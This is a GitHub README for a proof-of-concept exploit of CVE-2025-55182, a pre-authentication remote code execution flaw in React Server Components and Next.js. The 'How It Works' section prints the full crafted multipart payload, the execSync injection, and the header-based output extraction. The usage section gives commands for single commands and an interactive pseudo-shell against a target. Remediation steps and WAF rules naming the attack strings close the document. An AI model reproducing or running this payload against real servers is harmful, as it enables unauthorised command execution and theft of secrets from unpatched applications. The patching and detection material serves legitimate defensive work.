lvx9101-ux/CVE-2025-55182

GitHub: lvx9101-ux/CVE-2025-55182

Stars: 0 | Forks: 0

# CVE-2025-55182 — React Server Components Pre-Auth RCE ("React2Shell") ## ⚠️ Important notice Patches for this vulnerability have been **publicly available since December 3, 2025**. This repository exists for educational and research purposes: understanding the mechanics helps defenders detect and remediate faster. Active exploitation has been observed by Wiz Research, Amazon Threat Intelligence, Datadog, and Unit 42. **If you are a system owner, patch immediately — do not test against production.** ## Table of Contents - [Overview](#overview) - [Vulnerability Details](#vulnerability-details) - [Affected Versions](#affected-versions) - [Proof of Concept](#proof-of-concept) - [How It Works](#how-it-works) - [Remediation](#remediation) - [Disclosure Timeline](#disclosure-timeline) - [References](#references) - [Disclaimer](#disclaimer) ## Overview CVE-2025-55182 / CVE-2025-66478 is a **pre-authentication Remote Code Execution** vulnerability in the React 19 ecosystem. It affects any application using React Server Components with the App Router — including standard Next.js deployments created with `create-next-app` with no additional configuration. The vulnerability abuses the RSC "Flight" wire protocol: an attacker sends a crafted `multipart/form-data` POST request that injects arbitrary JavaScript into the RSC parser's `_prefix` field. Because this field is evaluated server-side **before any authentication check**, full OS command execution is achieved with zero credentials. Command output is exfiltrated **without a reverse shell or callback server** — it travels back inside the `x-action-redirect` response header as Base64, making it firewall-friendly and difficult to detect via egress monitoring alone. ## Vulnerability Details ### Root Cause The RSC response parser (`react-server-dom-webpack`, `react-server-dom-turbopack`, etc.) deserialises the `_prefix` field of an incoming RSC chunk as executable JavaScript **without sanitisation and without an authentication gate**. Three primitives are chained: 1. __proto__ pollution "then": "$1:__proto__:then" → hijacks Promise resolution in the RSC runtime 2. Function constructor access "_formData": {"get": "$1:constructor:constructor"} → walks the prototype chain to reach the global Function() constructor 3. NEXT_REDIRECT throw throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `...;/out?a=${output};307;`}) → Next.js catches this internally and emits a 303 whose x-action-redirect header carries the attacker-controlled value verbatim ### Why it requires no authentication Server Actions are dispatched by the presence of the `Next-Action` request header. The framework validates the header format but does **not** enforce session or authentication before deserialising the RSC payload — the exploit fires at the protocol layer, before any application middleware runs. ### Output channel throw Object.assign(new Error('NEXT_REDIRECT'), { digest: `NEXT_REDIRECT;push;/out?a=${base64_output};307;` }); Next.js catches the throw and emits: HTTP/1.1 303 See Other x-action-redirect: /out?a=;push ## Affected Versions ### Next.js (CVE-2025-66478) | Affected range | Patched version | |---|---| | 15.0.0 – 15.0.4 | **15.0.5** | | 15.1.0 – 15.1.8 | **15.1.9** | | 15.2.0 – 15.2.5 | **15.2.6** | | 15.3.0 – 15.3.5 | **15.3.6** | | 15.4.0 – 15.4.7 | **15.4.8** | | 15.5.0 – 15.5.6 | **15.5.7** | | 16.0.0 – 16.0.6 | **16.0.7** | | 14.3.0-canary.77+ | downgrade to `next@14` stable | ### React (CVE-2025-55182) | Affected | Patched | |---|---| | `react-server-dom-*` 19.0, 19.1.0, 19.1.1, 19.2.0 | **19.0.3 / 19.1.4 / 19.2.3** | ### Other affected frameworks React Router, Waku, RedwoodSDK, `@parcel/rsc`, `@vitejs/plugin-rsc` — any library bundling `react-server-dom-*`. **Required conditions:** - App Router enabled (RSC in use) - Node.js runtime — not Edge (`child_process` unavailable in Edge) - No extra developer configuration needed: default `create-next-app` is vulnerable ## Proof of Concept ### Install git clone https://github.com/lvx9101-ux/CVE-2025-55182 cd CVE-2025-55182 pip install -r requirements.txt ### Usage # Single command python3 cve-2025-55182.py -u http://TARGET:3000 -c "id" # Interactive pseudo-shell python3 cve-2025-55182.py -u http://TARGET:3000 --shell # Custom Host header (vhost routing) python3 cve-2025-55182.py -u http://TARGET:3000 -c "id" --host-header app.internal # Verbose — print raw HTTP status + response headers python3 cve-2025-55182.py -u http://TARGET:3000 -c "id" -v ### Expected output $ python3 cve-2025-55182.py -u http://TARGET:3000 --shell ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ CVE-2025-55182 | Next.js <= 15.0.4 | Pre-Auth RCE Author: Paranoid [*] Target : http://TARGET:3000 [*] Host hdr: TARGET:3000 [*] Pseudo-shell — type 'exit' to quit -------------------------------------------------- $ id uid=1000(node) gid=1000(node) groups=1000(node) $ whoami node $ pwd /opt/app $ ls app next.config.js node_modules package.json package-lock.json $ exit [*] Bye. ## How It Works ### Step 1 — Request structure The script sends `POST /` with three `multipart/form-data` parts and two mandatory headers: POST / HTTP/1.1 Host: Next-Action: x Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad **Part `0` — the poisoned RSC chunk:** { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"} } } **Part `1`** — `"$@0"` — back-reference that triggers evaluation of Part 0. **Part `2`** — `[]` — empty array to satisfy the RSC argument shape. ### Step 2 — Injected JavaScript var res = Buffer.from( process.mainModule.require('child_process').execSync(``) ).toString('base64'); throw Object.assign(new Error('NEXT_REDIRECT'), { digest: `NEXT_REDIRECT;push;/out?a=${res};307;` }); `execSync` runs synchronously — full stdout is captured before the throw. `Buffer.toString('base64')` encodes output so it survives URL encoding in the header value. ### Step 3 — Extraction for hdr in ("x-action-redirect", "Location"): val = r.headers.get(hdr, "") match = re.search(r'\?a=(.+?)(?:;|$)', val) if match: return True, unquote(match.group(1)) The Base64 value is decoded and printed as plaintext. ## Remediation ### 1 — Update immediately # Pick the patched version for your release line npm install next@15.0.5 # 15.0.x npm install next@15.1.9 # 15.1.x npm install next@15.2.6 # 15.2.x npm install next@15.3.6 # 15.3.x npm install next@15.4.8 # 15.4.x npm install next@15.5.7 # 15.5.x npm install next@16.0.7 # 16.0.x npm install next@14 # canary — downgrade to stable 14.x # Or use the official interactive tool npx fix-react2shell-next ### 2 — Middleware authentication guard // middleware.ts import { NextRequest, NextResponse } from 'next/server'; export function middleware(request: NextRequest) { const isServerAction = request.headers.has('Next-Action'); const hasSession = request.cookies.has('session'); if (isServerAction && !hasSession) { return new Response('Unauthorized', { status: 401 }); } return NextResponse.next(); } export const config = { matcher: ['/((?!_next/static|_next/image|favicon.ico).*)'], }; ### 3 — WAF rule (ModSecurity / OWASP CRS) SecRule REQUEST_BODY "@contains __proto__" "id:9001,phase:2,deny,status:400" SecRule REQUEST_BODY "@contains constructor" "id:9002,phase:2,deny,status:400" SecRule REQUEST_BODY "@contains NEXT_REDIRECT" "id:9003,phase:2,deny,status:400" ### 4 — Rotate secrets after patching After patching and redeploying, rotate all application secrets — exploitation leaves no guaranteed trace in application logs. ## Disclosure Timeline | Date | Event | |---|---| | Pre-disclosure | Lachlan Davidson discovers the vulnerability and reports it responsibly to the React / Vercel security teams | | **Dec 3, 2025** | React publishes CVE-2025-55182; Next.js publishes CVE-2025-66478; patches shipped to npm | | **Dec 4, 2025** | Public exploit code appears; Vercel deploys WAF rules globally | | **Dec 5, 2025** | Active in-the-wild exploitation observed (Wiz, Amazon, Datadog, Unit 42) | | **Dec 10–15, 2025** | Post-exploitation activity: cloud credential harvesting, cryptocurrency mining | | **Dec 11, 2025** | Follow-up Next.js security update for CVE-2025-55183 and CVE-2025-55184 | ## References - [React official advisory — CVE-2025-55182](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components) - [Next.js advisory — CVE-2025-66478](https://nextjs.org/blog/CVE-2025-66478) - [Vercel React2Shell security bulletin](https://vercel.com/kb/bulletin/react2shell) - [Wiz Research — React2Shell technical analysis](https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182) - [Microsoft Security Blog — defending against React2Shell](https://www.microsoft.com/en-us/security/blog/2025/12/15/defending-against-the-cve-2025-55182-react2shell-vulnerability-in-react-server-components) - [Trend Micro — PoC landscape and in-the-wild analysis](https://www.trendmicro.com/en_us/research/25/l/CVE-2025-55182-analysis-poc-itw.html) - [Unit 42 — exploitation activity](https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/) - [NVD entry — CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182) - [Prototype pollution — PortSwigger Web Security Academy](https://portswigger.net/web-security/prototype-pollution) ## Disclaimer This repository is published strictly for **educational and research purposes**. - Patches have been publicly available since **December 3, 2025**. This vulnerability is fully patched, publicly documented, and has been actively exploited in the wild — this PoC does not disclose any new information. - Do **not** use this tool against any system you do not own or have **explicit written authorisation** to test. - The author assumes **no liability** for any misuse of this material. - Unauthorised use may violate the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act (CMA), and equivalent legislation in your jurisdiction.